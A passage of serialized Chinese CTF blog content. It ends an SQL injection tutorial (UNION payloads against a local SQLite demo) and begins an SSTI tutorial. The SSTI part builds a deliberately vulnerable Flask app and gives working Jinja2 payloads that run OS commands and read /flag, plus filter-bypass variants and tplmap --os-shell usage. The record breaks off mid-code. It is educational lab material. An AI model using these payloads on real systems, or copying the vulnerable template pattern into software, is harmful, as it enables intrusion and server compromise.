id_，即注入点。\n",[48,6069,6070],{"class":50,"line":3666},[48,6071,6072],{},"        return str(cur.fetchall())\n",[48,6074,6075],{"class":50,"line":3672},[48,6076,6077],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[48,6079,6080],{"class":50,"line":3678},[48,6081,6082],{},"    except Exception as e:\n",[48,6084,6085],{"class":50,"line":3684},[48,6086,6087],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[48,6089,6090],{"class":50,"line":4449},[48,6091,6092],{},"        return \"ERROR: \" + str(e)\n",[48,6094,6095],{"class":50,"line":4454},[48,6096,111],{"emptyLinePlaceholder":110},[48,6098,6099],{"class":50,"line":4460},[48,6100,6101],{},"print(query(\"1\"))\n",[48,6103,6104],{"class":50,"line":4466},[48,6105,6106],{},"print(query(\"1'\"))\n",[48,6108,6109],{"class":50,"line":4471},[48,6110,6111],{},"print(query(\"1 AND 1=1\"))\n",[48,6113,6114],{"class":50,"line":4477},[48,6115,6116],{},"print(query(\"1 AND 1=2\"))\n",[48,6118,6119],{"class":50,"line":4483},[48,6120,6121],{},"print(query(\"1 ORDER BY 3\"))\n",[48,6123,6124],{"class":50,"line":4489},[48,6125,6126],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[48,6128,6129],{"class":50,"line":4495},[48,6130,6131],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[48,6133,6134],{"class":50,"line":4500},[48,6135,6136],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6138,6139],{},"运行：",[39,6141,6143],{"className":41,"code":6142,"language":43,"meta":44,"style":44},"python3 sim.py\n",[19,6144,6145],{"__ignoreMap":44},[48,6146,6147,6149],{"class":50,"line":51},[48,6148,812],{"class":54},[48,6150,6151],{"class":58}," sim.py\n",[15,6153,3111],{},[39,6155,6158],{"className":6156,"code":6157,"language":287,"meta":44},[285],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[19,6159,6157],{"__ignoreMap":44},[15,6161,6162],{},"逐行对应：",[294,6164,6165,6178],{},[297,6166,6167],{},[300,6168,6169,6172,6175],{},[303,6170,6171],{},"输入",[303,6173,6174],{},"输出",[303,6176,6177],{},"结论",[313,6179,6180,6193,6206,6218,6231,6244,6259,6272],{},[300,6181,6182,6187,6190],{},[318,6183,6184],{},[19,6185,6186],{},"1",[318,6188,6189],{},"正常记录",[318,6191,6192],{},"基线",[300,6194,6195,6200,6203],{},[318,6196,6197],{},[19,6198,6199],{},"1'",[318,6201,6202],{},"语法错误",[318,6204,6205],{},"注入点存在",[300,6207,6208,6213,6215],{},[318,6209,6210],{},[19,6211,6212],{},"1 AND 1=1",[318,6214,6189],{},[318,6216,6217],{},"条件真",[300,6219,6220,6225,6228],{},[318,6221,6222],{},[19,6223,6224],{},"1 AND 1=2",[318,6226,6227],{},"空",[318,6229,6230],{},"条件假",[300,6232,6233,6238,6241],{},[318,6234,6235],{},[19,6236,6237],{},"1 ORDER BY 3",[318,6239,6240],{},"正常",[318,6242,6243],{},"至少 3 列",[300,6245,6246,6251,6256],{},[318,6247,6248],{},[19,6249,6250],{},"-1 UNION SELECT 1,2,3",[318,6252,6253],{},[19,6254,6255],{},"(1, 2, 3)",[318,6257,6258],{},"3 列且回显",[300,6260,6261,6264,6269],{},[318,6262,6263],{},"查 sqlite_master",[318,6265,6266],{},[19,6267,6268],{},"articles,flag",[318,6270,6271],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[300,6273,6274,6277,6281],{},[318,6275,6276],{},"查 flag 表",[318,6278,6279],{},[19,6280,5514],{},[318,6282,6283],{},"拿到 flag",[10,6285,6287],{"id":6286},"九小结","九、小结",[15,6289,6290,6291,6294],{},"SQL 注入主线：",[27,6292,6293],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[920,6296,6297],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":44,"searchDepth":68,"depth":68,"links":6299},[6300,6301,6302,6303,6304,6305,6306,6307,6308],{"id":4921,"depth":107,"text":4922},{"id":4973,"depth":107,"text":4974},{"id":5127,"depth":107,"text":5128},{"id":5285,"depth":107,"text":5286},{"id":5523,"depth":107,"text":5524},{"id":5769,"depth":107,"text":5770},{"id":5890,"depth":107,"text":5891},{"id":5954,"depth":107,"text":5955},{"id":6286,"depth":107,"text":6287},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":938,"image":6311,"alt":6312,"tags":6313,"published":110},"/blogs-img/blog5.png","SQL 注入深入实战",[942,6314,6315,943],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":4916,"description":6309},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6321,"title":6322,"body":6323,"description":7369,"extension":936,"meta":7370,"navigation":110,"ogImage":7371,"path":7375,"seo":7376,"stem":7377,"__hash__":7378},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6324,"toc":7359},[6325,6329,6332,6375,6386,6389,6398,6404,6408,6422,6427,6480,6482,6494,6498,6503,6516,6520,6536,6538,6560,6564,6580,6582,6600,6610,6614,6681,6685,6690,6723,6732,6736,6742,6746,6752,6755,6771,6773,6791,6794,6810,6812,6830,6843,6851,6862,6869,6875,6878,6956,6962,6965,6971,6975,6987,6996,7008,7012,7018,7022,7028,7037,7039,7043,7089,7093,7136,7142,7146,7149,7218,7222,7231,7235,7240,7255,7261,7265,7280,7309,7312,7318,7322,7330,7333,7339,7341,7356],[10,6326,6328],{"id":6327},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6330,6331],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[39,6333,6335],{"className":383,"code":6334,"language":385,"meta":44,"style":44},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[19,6336,6337,6342,6346,6351,6355,6360,6365,6370],{"__ignoreMap":44},[48,6338,6339],{"class":50,"line":51},[48,6340,6341],{},"from flask import Flask, render_template\n",[48,6343,6344],{"class":50,"line":68},[48,6345,111],{"emptyLinePlaceholder":110},[48,6347,6348],{"class":50,"line":107},[48,6349,6350],{},"app = Flask(__name__)\n",[48,6352,6353],{"class":50,"line":114},[48,6354,111],{"emptyLinePlaceholder":110},[48,6356,6357],{"class":50,"line":120},[48,6358,6359],{},"@app.route(\"/\")\n",[48,6361,6362],{"class":50,"line":126},[48,6363,6364],{},"def index():\n",[48,6366,6367],{"class":50,"line":132},[48,6368,6369],{},"    name = request.args.get(\"name\", \"world\")\n",[48,6371,6372],{"class":50,"line":137},[48,6373,6374],{},"    return render_template(\"hello.html\", name=name)\n",[15,6376,6377,6378,6381,6382,6385],{},"模板文件 ",[19,6379,6380],{},"hello.html"," 内容是固定的 ",[19,6383,6384],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6387,6388],{},"错误写法是把用户输入拼进模板字符串：",[39,6390,6392],{"className":383,"code":6391,"language":385,"meta":44,"style":44},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[19,6393,6394],{"__ignoreMap":44},[48,6395,6396],{"class":50,"line":51},[48,6397,6391],{},[15,6399,6400,6403],{},[19,6401,6402],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6405,6407],{"id":6406},"二环境搭建","二、环境搭建",[39,6409,6411],{"className":41,"code":6410,"language":43,"meta":44,"style":44},"pip install flask\n",[19,6412,6413],{"__ignoreMap":44},[48,6414,6415,6417,6419],{"class":50,"line":51},[48,6416,3390],{"class":54},[48,6418,59],{"class":58},[48,6420,6421],{"class":58}," flask\n",[15,6423,83,6424,87],{},[19,6425,6426],{},"app.py",[39,6428,6430],{"className":383,"code":6429,"language":385,"meta":44,"style":44},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[19,6431,6432,6437,6441,6445,6449,6453,6457,6461,6466,6471,6475],{"__ignoreMap":44},[48,6433,6434],{"class":50,"line":51},[48,6435,6436],{},"from flask import Flask, request, render_template_string\n",[48,6438,6439],{"class":50,"line":68},[48,6440,111],{"emptyLinePlaceholder":110},[48,6442,6443],{"class":50,"line":107},[48,6444,6350],{},[48,6446,6447],{"class":50,"line":114},[48,6448,111],{"emptyLinePlaceholder":110},[48,6450,6451],{"class":50,"line":120},[48,6452,6359],{},[48,6454,6455],{"class":50,"line":126},[48,6456,6364],{},[48,6458,6459],{"class":50,"line":132},[48,6460,6369],{},[48,6462,6463],{"class":50,"line":137},[48,6464,6465],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[48,6467,6468],{"class":50,"line":143},[48,6469,6470],{},"    return render_template_string(html, name=name)\n",[48,6472,6473],{"class":50,"line":149},[48,6474,111],{"emptyLinePlaceholder":110},[48,6476,6477],{"class":50,"line":155},[48,6478,6479],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6481,6139],{},[39,6483,6485],{"className":41,"code":6484,"language":43,"meta":44,"style":44},"python app.py\n",[19,6486,6487],{"__ignoreMap":44},[48,6488,6489,6491],{"class":50,"line":51},[48,6490,385],{"class":54},[48,6492,6493],{"class":58}," app.py\n",[10,6495,6497],{"id":6496},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6499,6500,6502],{},[27,6501,252],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6504,6505,6507,6508,6511,6512,6515],{},[27,6506,258],{},"：模板引擎会执行 ",[19,6509,6510],{},"{{ 表达式 }}","。传 ",[19,6513,6514],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[462,6517,6519],{"id":6518},"_31-正常请求","3.1 正常请求",[39,6521,6523],{"className":41,"code":6522,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[19,6524,6525],{"__ignoreMap":44},[48,6526,6527,6529,6531,6534],{"class":50,"line":51},[48,6528,5161],{"class":54},[48,6530,5164],{"class":1325},[48,6532,6533],{"class":58},"http://127.0.0.1:5000/?name=alice",[48,6535,5170],{"class":1325},[15,6537,281],{},[39,6539,6543],{"className":6540,"code":6541,"language":6542,"meta":44,"style":44},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[19,6544,6545],{"__ignoreMap":44},[48,6546,6547,6550,6553,6556,6558],{"class":50,"line":51},[48,6548,6549],{"class":994},"\u003C",[48,6551,6552],{"class":987},"h1",[48,6554,6555],{"class":994},">Hello, alice!\u003C/",[48,6557,6552],{"class":987},[48,6559,998],{"class":994},[462,6561,6563],{"id":6562},"_32-表达式求值","3.2 表达式求值",[39,6565,6567],{"className":41,"code":6566,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[19,6568,6569],{"__ignoreMap":44},[48,6570,6571,6573,6575,6578],{"class":50,"line":51},[48,6572,5161],{"class":54},[48,6574,5164],{"class":1325},[48,6576,6577],{"class":58},"http://127.0.0.1:5000/?name={{7*7}}",[48,6579,5170],{"class":1325},[15,6581,281],{},[39,6583,6585],{"className":6540,"code":6584,"language":6542,"meta":44,"style":44},"\u003Ch1>Hello, 49!\u003C/h1>\n",[19,6586,6587],{"__ignoreMap":44},[48,6588,6589,6591,6593,6596,6598],{"class":50,"line":51},[48,6590,6549],{"class":994},[48,6592,6552],{"class":987},[48,6594,6595],{"class":994},">Hello, 49!\u003C/",[48,6597,6552],{"class":987},[48,6599,998],{"class":994},[15,6601,6602,6605,6606,6609],{},[19,6603,6604],{},"7*7"," 被求值成 ",[19,6607,6608],{},"49","，说明模板表达式生效，SSTI 成立。",[462,6611,6613],{"id":6612},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[294,6615,6616,6629],{},[297,6617,6618],{},[300,6619,6620,6623,6626],{},[303,6621,6622],{},"引擎",[303,6624,6625],{},"语言",[303,6627,6628],{},"探测 payload",[313,6630,6631,6643,6656,6668],{},[300,6632,6633,6636,6639],{},[318,6634,6635],{},"Jinja2 / Twig",[318,6637,6638],{},"Python / PHP",[318,6640,6641],{},[19,6642,6514],{},[300,6644,6645,6648,6651],{},[318,6646,6647],{},"Freemarker",[318,6649,6650],{},"Java",[318,6652,6653],{},[19,6654,6655],{},"${7*7}",[300,6657,6658,6661,6663],{},[318,6659,6660],{},"Velocity",[318,6662,6650],{},[318,6664,6665],{},[19,6666,6667],{},"#set($x=7*7)$x",[300,6669,6670,6673,6676],{},[318,6671,6672],{},"Smarty",[318,6674,6675],{},"PHP",[318,6677,6678],{},[19,6679,6680],{},"{$smarty.version}",[10,6682,6684],{"id":6683},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,6686,6687,6689],{},[27,6688,252],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,6691,6692,6694,6695,6698,6699,530,6702,530,6705,6708,6709,6712,6713,6715,6716,6719,6720,30],{},[27,6693,258],{},"：模板只能访问少量对象（如 ",[19,6696,6697],{},"config","）。Python 对象有 ",[19,6700,6701],{},"__class__",[19,6703,6704],{},"__init__",[19,6706,6707],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[19,6710,6711],{},"os"," 模块。验证方式：先执行 ",[19,6714,5136],{},"，输出 ",[19,6717,6718],{},"uid=..."," 即成功，再换 ",[19,6721,6722],{},"cat /flag",[15,6724,6725,6726,6728,6729,6731],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[19,6727,6697],{}," 对象，沿 Python 内部属性找到 ",[19,6730,6711],{}," 模块。",[462,6733,6735],{"id":6734},"_41-分步理解","4.1 分步理解",[39,6737,6740],{"className":6738,"code":6739,"language":287,"meta":44},[285],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[19,6741,6739],{"__ignoreMap":44},[462,6743,6745],{"id":6744},"_42-完整-payload","4.2 完整 payload",[39,6747,6750],{"className":6748,"code":6749,"language":287,"meta":44},[285],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[19,6751,6749],{"__ignoreMap":44},[15,6753,6754],{},"用 curl 发送：",[39,6756,6758],{"className":41,"code":6757,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[19,6759,6760],{"__ignoreMap":44},[48,6761,6762,6764,6766,6769],{"class":50,"line":51},[48,6763,5161],{"class":54},[48,6765,5164],{"class":1325},[48,6767,6768],{"class":58},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[48,6770,5170],{"class":1325},[15,6772,281],{},[39,6774,6776],{"className":6540,"code":6775,"language":6542,"meta":44,"style":44},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[19,6777,6778],{"__ignoreMap":44},[48,6779,6780,6782,6784,6787,6789],{"class":50,"line":51},[48,6781,6549],{"class":994},[48,6783,6552],{"class":987},[48,6785,6786],{"class":994},">Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/",[48,6788,6552],{"class":987},[48,6790,998],{"class":994},[15,6792,6793],{},"命令执行成功。读 flag：",[39,6795,6797],{"className":41,"code":6796,"language":43,"meta":44,"style":44},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[19,6798,6799],{"__ignoreMap":44},[48,6800,6801,6803,6805,6808],{"class":50,"line":51},[48,6802,5161],{"class":54},[48,6804,5164],{"class":1325},[48,6806,6807],{"class":58},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[48,6809,5170],{"class":1325},[15,6811,281],{},[39,6813,6815],{"className":6540,"code":6814,"language":6542,"meta":44,"style":44},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[19,6816,6817],{"__ignoreMap":44},[48,6818,6819,6821,6823,6826,6828],{"class":50,"line":51},[48,6820,6549],{"class":994},[48,6822,6552],{"class":987},[48,6824,6825],{"class":994},">Hello, flag{ssti_rce}!\u003C/",[48,6827,6552],{"class":987},[48,6829,998],{"class":994},[15,6831,6832,87,6840,6842],{},[27,6833,6834,6835,6837,6838],{},"为什么先试 ",[19,6836,5136],{}," 再试 ",[19,6839,6722],{},[19,6841,5136],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[462,6844,6846,6847,6850],{"id":6845},"_43-备选链subclasses-扫描","4.3 备选链：",[27,6848,6849],{},"subclasses"," 扫描",[15,6852,6853,6855,6856,6858,6859,30],{},[27,6854,252],{},"：当 ",[19,6857,6697],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[19,6860,6861],{},"subprocess.Popen",[15,6863,6864,6866,6867,87],{},[19,6865,6697],{}," 链不可用时，从字符串对象出发找 ",[19,6868,6861],{},[39,6870,6873],{"className":6871,"code":6872,"language":287,"meta":44},[285],"''.__class__.__mro__[1].__subclasses__()\n",[19,6874,6872],{"__ignoreMap":44},[15,6876,6877],{},"先用 Python 脚本找下标：",[39,6879,6881],{"className":383,"code":6880,"language":385,"meta":44,"style":44},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[19,6882,6883,6888,6892,6897,6902,6907,6912,6917,6922,6927,6932,6937,6942,6947,6952],{"__ignoreMap":44},[48,6884,6885],{"class":50,"line":51},[48,6886,6887],{},"import requests\n",[48,6889,6890],{"class":50,"line":68},[48,6891,111],{"emptyLinePlaceholder":110},[48,6893,6894],{"class":50,"line":107},[48,6895,6896],{},"url = \"http://127.0.0.1:5000/\"\n",[48,6898,6899],{"class":50,"line":114},[48,6900,6901],{},"for i in range(500):\n",[48,6903,6904],{"class":50,"line":120},[48,6905,6906],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[48,6908,6909],{"class":50,"line":126},[48,6910,6911],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[48,6913,6914],{"class":50,"line":132},[48,6915,6916],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[48,6918,6919],{"class":50,"line":137},[48,6920,6921],{},"    # .__mro__[1]：继承链上的 object 类；\n",[48,6923,6924],{"class":50,"line":143},[48,6925,6926],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[48,6928,6929],{"class":50,"line":149},[48,6930,6931],{},"    # .__name__：该类的名字，会渲染到页面。\n",[48,6933,6934],{"class":50,"line":155},[48,6935,6936],{},"    r = requests.get(url, params={\"name\": payload})\n",[48,6938,6939],{"class":50,"line":160},[48,6940,6941],{},"    if \"Popen\" in r.text:\n",[48,6943,6944],{"class":50,"line":165},[48,6945,6946],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[48,6948,6949],{"class":50,"line":171},[48,6950,6951],{},"        print(\"Popen index:\", i)\n",[48,6953,6954],{"class":50,"line":177},[48,6955,3351],{},[15,6957,281,6958,6961],{},[19,6959,6960],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,6963,6964],{},"然后利用：",[39,6966,6969],{"className":6967,"code":6968,"language":287,"meta":44},[285],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[19,6970,6968],{"__ignoreMap":44},[10,6972,6974],{"id":6973},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,6976,6977,6979,6980,530,6983,6986],{},[27,6978,252],{},"：题目过滤 ",[19,6981,6982],{},".",[19,6984,6985],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,6988,6989,6991,6992,6995],{},[27,6990,258],{},"：点号访问可以用 Jinja2 的 ",[19,6993,6994],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,6997,6998,6999,530,7001,530,7004,7007],{},"题目常过滤 ",[19,7000,6982],{},[19,7002,7003],{},"[",[19,7005,7006],{},"]"," 或关键词。",[462,7009,7011],{"id":7010},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[39,7013,7016],{"className":7014,"code":7015,"language":287,"meta":44},[285],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[19,7017,7015],{"__ignoreMap":44},[462,7019,7021],{"id":7020},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[39,7023,7026],{"className":7024,"code":7025,"language":287,"meta":44},[285],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[19,7027,7025],{"__ignoreMap":44},[15,7029,7030,7031,530,7033,7036],{},"模板里不再出现 ",[19,7032,6711],{},[19,7034,7035],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7038,1934],{"id":1933},[462,7040,7042],{"id":7041},"工具-1curl","工具 1：curl",[39,7044,7046],{"className":41,"code":7045,"language":43,"meta":44,"style":44},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[19,7047,7048,7062],{"__ignoreMap":44},[48,7049,7050,7052,7054,7057,7059],{"class":50,"line":51},[48,7051,5161],{"class":54},[48,7053,5164],{"class":1325},[48,7055,7056],{"class":58},"http://target/?name={{7*7}}",[48,7058,5804],{"class":1325},[48,7060,7061],{"class":237},"          # 探测\n",[48,7063,7064,7066,7069,7071,7074,7076,7079,7081,7084,7086],{"class":50,"line":68},[48,7065,5161],{"class":54},[48,7067,7068],{"class":219}," -G",[48,7070,5164],{"class":1325},[48,7072,7073],{"class":58},"http://target/",[48,7075,5804],{"class":1325},[48,7077,7078],{"class":219}," --data-urlencode",[48,7080,5164],{"class":1325},[48,7082,7083],{"class":58},"name={{...}}",[48,7085,5804],{"class":1325},[48,7087,7088],{"class":237},"   # 自动 URL 编码\n",[462,7090,7092],{"id":7091},"工具-2requests","工具 2：requests",[39,7094,7096],{"className":383,"code":7095,"language":385,"meta":44,"style":44},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[19,7097,7098,7102,7106,7111,7116,7121,7126,7131],{"__ignoreMap":44},[48,7099,7100],{"class":50,"line":51},[48,7101,6887],{},[48,7103,7104],{"class":50,"line":68},[48,7105,111],{"emptyLinePlaceholder":110},[48,7107,7108],{"class":50,"line":107},[48,7109,7110],{},"url = \"http://target/\"\n",[48,7112,7113],{"class":50,"line":114},[48,7114,7115],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[48,7117,7118],{"class":50,"line":120},[48,7119,7120],{},"r = requests.get(url, params={\"name\": payload})\n",[48,7122,7123],{"class":50,"line":126},[48,7124,7125],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[48,7127,7128],{"class":50,"line":132},[48,7129,7130],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[48,7132,7133],{"class":50,"line":137},[48,7134,7135],{},"print(r.text)\n",[15,7137,7138,7141],{},[19,7139,7140],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[462,7143,7145],{"id":7144},"工具-3tplmap","工具 3：tplmap",[15,7147,7148],{},"模板注入自动化工具：",[39,7150,7152],{"className":41,"code":7151,"language":43,"meta":44,"style":44},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[19,7153,7154,7163,7182,7201],{"__ignoreMap":44},[48,7155,7156,7158,7160],{"class":50,"line":51},[48,7157,4988],{"class":54},[48,7159,4991],{"class":58},[48,7161,7162],{"class":58}," https://github.com/epinna/tplmap\n",[48,7164,7165,7167,7170,7172,7174,7176,7179],{"class":50,"line":68},[48,7166,1669],{"class":1668},[48,7168,7169],{"class":58}," tplmap",[48,7171,1679],{"class":994},[48,7173,3390],{"class":54},[48,7175,59],{"class":58},[48,7177,7178],{"class":219}," -r",[48,7180,7181],{"class":58}," requirements.txt\n",[48,7183,7184,7186,7189,7191,7193,7196,7198],{"class":50,"line":107},[48,7185,385],{"class":54},[48,7187,7188],{"class":58}," tplmap.py",[48,7190,5797],{"class":219},[48,7192,5164],{"class":1325},[48,7194,7195],{"class":58},"http://target/?name=*",[48,7197,5804],{"class":1325},[48,7199,7200],{"class":237},"          # * 是注入点标记\n",[48,7202,7203,7205,7207,7209,7211,7213,7215],{"class":50,"line":114},[48,7204,385],{"class":54},[48,7206,7188],{"class":58},[48,7208,5797],{"class":219},[48,7210,5164],{"class":1325},[48,7212,7195],{"class":58},[48,7214,5804],{"class":1325},[48,7216,7217],{"class":219}," --os-shell\n",[10,7219,7221],{"id":7220},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7223,793,7224,7227,7228,30],{},[19,7225,7226],{},"http://target/?name="," 存在 SSTI，flag 在 ",[19,7229,7230],{},"/flag",[462,7232,7234],{"id":7233},"第一步探测","第一步：探测",[15,7236,7237,7239],{},[27,7238,252],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[39,7241,7243],{"className":41,"code":7242,"language":43,"meta":44,"style":44},"curl \"http://target/?name={{7*7}}\"\n",[19,7244,7245],{"__ignoreMap":44},[48,7246,7247,7249,7251,7253],{"class":50,"line":51},[48,7248,5161],{"class":54},[48,7250,5164],{"class":1325},[48,7252,7056],{"class":58},[48,7254,5170],{"class":1325},[15,7256,7257,7258,7260],{},"响应含 ",[19,7259,6608],{}," → 确认。",[462,7262,7264],{"id":7263},"第二步直接打","第二步：直接打",[15,7266,7267,7269,7270,7273,7274,7276,7277,7279],{},[27,7268,258],{},"：先 ",[19,7271,7272],{},"config.__globals__"," 链试 ",[19,7275,6722],{},"；如果响应没出现 flag 内容，先改用 ",[19,7278,5136],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[39,7281,7283],{"className":383,"code":7282,"language":385,"meta":44,"style":44},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": 